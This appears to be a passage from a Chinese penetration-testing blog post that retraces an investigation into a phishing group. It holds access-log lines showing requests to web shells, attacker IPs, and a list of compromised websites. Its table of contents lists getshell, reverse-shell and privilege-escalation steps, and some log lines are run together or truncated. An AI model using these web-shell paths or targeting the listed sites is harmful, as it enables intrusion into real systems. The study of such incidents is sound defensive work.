巴勒斯坦黑客已经发布了大约2万名联邦调查局FBI和9,000名国土安全部DHS官员的个人信息 
http://mujahidincyberarmy.blogspot.com/2016/12/inilah-data-informasi-pribadi-20-ribu.html

通过钓鱼邮件获得美国司法部权限 
http://mujahidincyberarmy.blogspot.com/2016/02/hacker-pro-palestina-terbitkan.html

(4)代理IP

174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731 "http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"
207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729 "http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
212.1.211.3 美国 - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
178.128.221.199 希腊- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
197.211.61.82 尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

(5)被黑网站

不完全统计
rosturplast.com
mirohaviar.sk
helioncomposites.com
radiolanalhue.cl
zebramedia.al
www.qtfontebispo.com
www.seoeaze.com
vilapoucadeaguiar.com
proyectosphr.cl
u-p.com
www.humanaconsultores.cl
amsogroup.com
www.tdftechnologies.com
www.bvvagos.pt
www.huellasdigitales.cl
lince.apsl.edu.pl
www.fica.unsl.edu.ar
proyectosphr.cl
www.zlobek.uw.edu.pl
ifr.pt
mail.ijrer.org
www.hkmms.org.hk
historia.apsl.edu.pl
www.homeguide.com.sg
onlinecombos.co.in
umo.apsl.edu.pl
www.bpmp2t.lombokbaratkab.go.id
amsogroup.com
viper.cl
www.teniscavancha.cl
www.estacaomedica.pt
terrarestobar.cl
jf-bragado.pt
helioncomposites.com
notariabasualto.cl
ericdiblasi.com
reinamarltda.cl
cobraz.pt
www.stmarypellaia.com
webcam.wm-itservice.at

0X07 攻击路径还原

这个图画的也非常的专业,使用的是 processon 配合 iconfont 绘制而成的。

0X08 总结

本文主要是尽可能的根据原文的思路结合自己的实践回顾一下原作者对整个事件的分析流程,整个过程中涉及到很多渗透的技巧和社会工程学的知识,走了一遍以后还是大有收获,但也因为这样其中很多内容是复制于原文,就当是一次学习笔记吧,原作者是对钓鱼的回溯,我是对作者文章的回溯,仅此而已,毕竟,少就是多,慢就是快。

0X09 参考

https://www.freebuf.com/vuls/195090.html
https://www.altn.com.cn/2153.html
https://www.webshell.cc/5211.html
https://pentestlab.blog/2017/09/25/suid-executables/

文章目录
  1. 1. 0X00 前言
  2. 2. 0X01根据钓鱼邮件内容进行信息挖掘
    1. 2.1. 邮件头信息解释
      1. 2.1.1. (1)Received
      2. 2.1.2. (2)Data:表示邮件建立的时间,既不是发送时间也不是接收时间,是邮件发送方创建邮件的时间。
      3. 2.1.3. (3)From:表示一个或多个邮件的作者,显示在正文的发件人。由发件方编辑,例如发垃圾的就会将此字段编辑成不存在的地址;发诈骗邮件的就会将此字段编辑成被冒充的邮件地址。
      4. 2.1.4. (4)To:表示邮件的接收地址。
      5. 2.1.5. (5)CC:表示抄送的邮件地址。
      6. 2.1.6. (6)BCC:表示密送的邮件地址。
      7. 2.1.7. (7)Subject:表示邮件的主题。
      8. 2.1.8. (8)Sender:表示邮件的实际投递者(只能是一个),一般由收件方添加,邮件服务商在收到邮件后会将邮件会话里面的实际投递者与信头From字段标识的发件这进行比较,如不一致则在信头下方加入Sender字段标识邮件实际投递者,但这个字段也可由发件方决定的(from 和 sender 不一致的情况下部分邮件服务商会有代发标识)。
      9. 2.1.9. (9)Reply-to:表示回复地址,由发件方编辑,希望收件人回复邮件时回复到指定的地址。一般情况下,如不额外添加Reply-to字段,收件人回复邮件时,将回复到原邮件From字段标识的地址。
      10. 2.1.10. (10)MIME-Version:表示MIME的版本。
      11. 2.1.11. (11)Content-Type:标识了邮件内容的格式。
      12. 2.1.12. (12)Return-path:标识指定的退信地址,一般情况下,不添加Return-path字段,退信默认退到Sender标识的地址。当Sender和From一致时,退信默认退到From标识的地址。
  3. 3. 0X02 找到用来钓鱼的网站进行漏洞挖掘
    1. 3.1. (1)利用漏洞得到 shell
    2. 3.2. (2)查看日志及shell获取攻击者ip信息
    3. 3.3. (3)通过日志匹配邮箱并去重得到受害者邮箱地址
  4. 4. 0X03 转战邮件发送地址进行漏洞挖掘
    1. 4.1. (1)猜测 shell 名进行渗透
    2. 4.2. (2)突破限制反弹shell
    3. 4.3. (3)新的线索新的世界
  5. 5. 0X04 傀儡机突破
    1. 5.1. (1)低版本PROFTPD 未授权文件复制getshell
    2. 5.2. (2)拿到服务器全面围剿
    3. 5.3. (3)杀器提权一击致命
      1. 5.3.1. 1.为什么要提权
      2. 5.3.2. 2.常见的 linux 提权方式
        1. 5.3.2.1. (1)内核 exp 提权
        2. 5.3.2.2. (2)suid提权
        3. 5.3.2.3. (3)劫持环境变量提权
    4. 5.4. (4)日志分析揭开面纱
  6. 6. 0X05 热力图分析
  7. 7. 0X06 信息汇总
    1. 7.1. (1)组织信息
    2. 7.2. (2)攻击手段
    3. 7.3. (3)攻击历史
    4. 7.4. (4)代理IP
    5. 7.5. (5)被黑网站
  8. 8. 0X07 攻击路径还原
  9. 9. 0X08 总结
  10. 10. 0X09 参考
|